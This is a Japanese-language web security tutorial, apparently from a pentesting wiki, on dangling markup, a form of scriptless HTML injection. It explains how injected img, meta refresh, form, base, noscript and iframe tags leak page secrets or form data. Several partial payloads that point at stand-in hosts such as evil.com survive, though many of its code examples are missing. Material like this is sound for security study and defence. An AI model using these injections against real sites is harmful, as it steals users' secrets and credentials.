Dangling Markup - HTML scriptless injection
概要
この技術は、HTMLインジェクションが見つかった場合にユーザーから情報を抽出するために使用できます。これは、XSSを悪用する方法が見つからない場合に非常に便利ですが、いくつかのHTMLタグを注入できる場合に特に有用です。 また、HTML内にクリアテキストで保存された秘密があり、それをクライアントから抽出したい場合や、スクリプトの実行を誤解させたい場合にも便利です。
ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)で抽出することによって、いくつかのコンテンツセキュリティポリシーを回避するために使用できます。
主なアプリケーション
クリアテキストの秘密を盗む
ページが読み込まれるときに<img src='http://evil.com/log.cgi?
を注入すると、被害者は注入されたimg
タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密が含まれている場合、あなたはそれを盗むことができます(ダブルクオートを使用して同じことを行うこともできます。どちらがより興味深いかを確認してください)。
img
タグが禁止されている場合(例えばCSPのため)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
を使用することもできます。
注意してほしいのは、Chromeは"<"や"\n"を含むHTTP URLをブロックするため、"ftp"のような他のプロトコルスキームを試すことができます。
また、CSS @import
を悪用することもできます(";"が見つかるまで全てのコードを送信します)。
あなたは**<table
**を使用することもできます:
あなたは <base
タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザーインタラクションが必要です(ユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクによって指されるドメインを変更するからです):
フォームの盗難
その後、データをパスに送信するフォーム(例えば <form action='update_profile.php'>
)は、悪意のあるドメインにデータを送信します。
フォームの盗難 2
フォームヘッダーを設定します:<form action='http://evil.com/log_steal'>
これにより、次のフォームヘッダーが上書きされ、フォームからのすべてのデータが攻撃者に送信されます。
フォームの盗難 3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます:
攻撃者はこれを使用して情報を盗むことができます。
プレーンテキストの秘密を盗む 2
最新の技術を使用してフォームを盗む(新しいフォームヘッダーを注入する)ことで、新しい入力フィールドを注入することができます:
この入力フィールドには、HTML内の二重引用符の間のすべてのコンテンツと次の二重引用符が含まれます。この攻撃は「Stealing clear text secrets」と「Stealing forms2」を組み合わせたものです。
フォームと<option>
タグを注入することで同じことができます。閉じた</option>
が見つかるまでのすべてのデータが送信されます:
フォームパラメータインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されることがあります:
ノースクリプトを介したクリアテキストの秘密の盗難
<noscript></noscript>
は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(Chromeでは、chrome://settings/content/javascriptでJavaScriptを有効/無効にできます)。
攻撃者が制御するサイトに対して、注入ポイントからページの内容を下部まで流出させる方法は、これを注入することです:
ユーザーインタラクションを用いたCSPのバイパス
このportswiggersの研究から、最もCSPが制限された環境でも、ユーザーインタラクションを用いることでデータを抽出できることがわかります。この場合、ペイロードを使用します:
注意してください、あなたは犠牲者にリンクをクリックさせ、そのリンクがあなたが制御するペイロードにリダイレクトされるようにします。また、base
タグ内のtarget
属性は、次のシングルクォートまでHTMLコンテンツを含むことに注意してください。
これにより、リンクがクリックされた場合の**window.name
の値はすべてそのHTMLコンテンツになります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを制御しているため、そのwindow.name
にアクセスし、そのデータを抽出**することができます:
誤解を招くスクリプトワークフロー 1 - HTML 名前空間攻撃
HTML内に新しいタグを挿入し、次のタグを上書きするidを持たせ、スクリプトの流れに影響を与える値を設定します。この例では、情報が誰と共有されるかを選択しています:
誤解を招くスクリプトワークフロー 2 - スクリプトネームスペース攻撃
HTMLタグを挿入することで、JavaScriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます:
JSONPの悪用
JSONPインターフェースを見つけた場合、任意のデータで任意の関数を呼び出すことができるかもしれません:
また、いくつかのjavascriptを実行してみることもできます:
Iframeの悪用
子ドキュメントは、クロスオリジンの状況でも親のlocation
プロパティを表示および変更する能力を持っています。これにより、iframe内にスクリプトを埋め込むことができ、クライアントを任意のページにリダイレクトすることが可能になります:
これを軽減するには、次のようなものを使用できます: sandbox=' allow-scripts allow-top-navigation'
iframeは、iframe name属性を使用して、別のページから機密情報を漏洩させるためにも悪用される可能性があります。これは、HTMLインジェクションを悪用して機密情報がiframe name属性内に表示されるようにするiframeを作成でき、その名前に初期iframeからアクセスして漏洩させることができるためです。
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
meta http-equiv
を使用して、Cookieを設定するなどのいくつかのアクションを実行できます: <meta http-equiv="Set-Cookie" Content="SESSID=1">
またはリダイレクトを実行することができます(この場合は5秒後): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
これは、http-equiv に関する CSP で回避できます( Content-Security-Policy: default-src 'self';
または Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
<portal タグの脆弱性に関する非常に興味深い研究をこちらで見つけることができます。
この文を書いている時点では、chrome://flags/#enable-portals
でポータルタグを有効にする必要があります。そうしないと機能しません。
HTML Leaks
HTMLにおける接続漏洩のすべての方法がDangling Markupに役立つわけではありませんが、時には助けになることがあります。ここで確認してください: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
これはdangling markupとXS-Leaksの ミックスです。一方で、この脆弱性は同じオリジンのページにHTMLを注入することを可能にしますが、JSは注入できません。もう一方では、HTMLを注入できるページを直接攻撃するのではなく、別のページを攻撃します。
SS-LeaksXS-Search/XS-Leaks
XS-Searchはサイドチャネル攻撃を悪用してクロスオリジン情報を抽出することを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの挿入(JS実行の有無にかかわらず)を悪用します。例えば、CSS InjectionやLazy Load Imagesです。
XS-Search/XS-LeaksBrute-Force Detection List
References
Last updated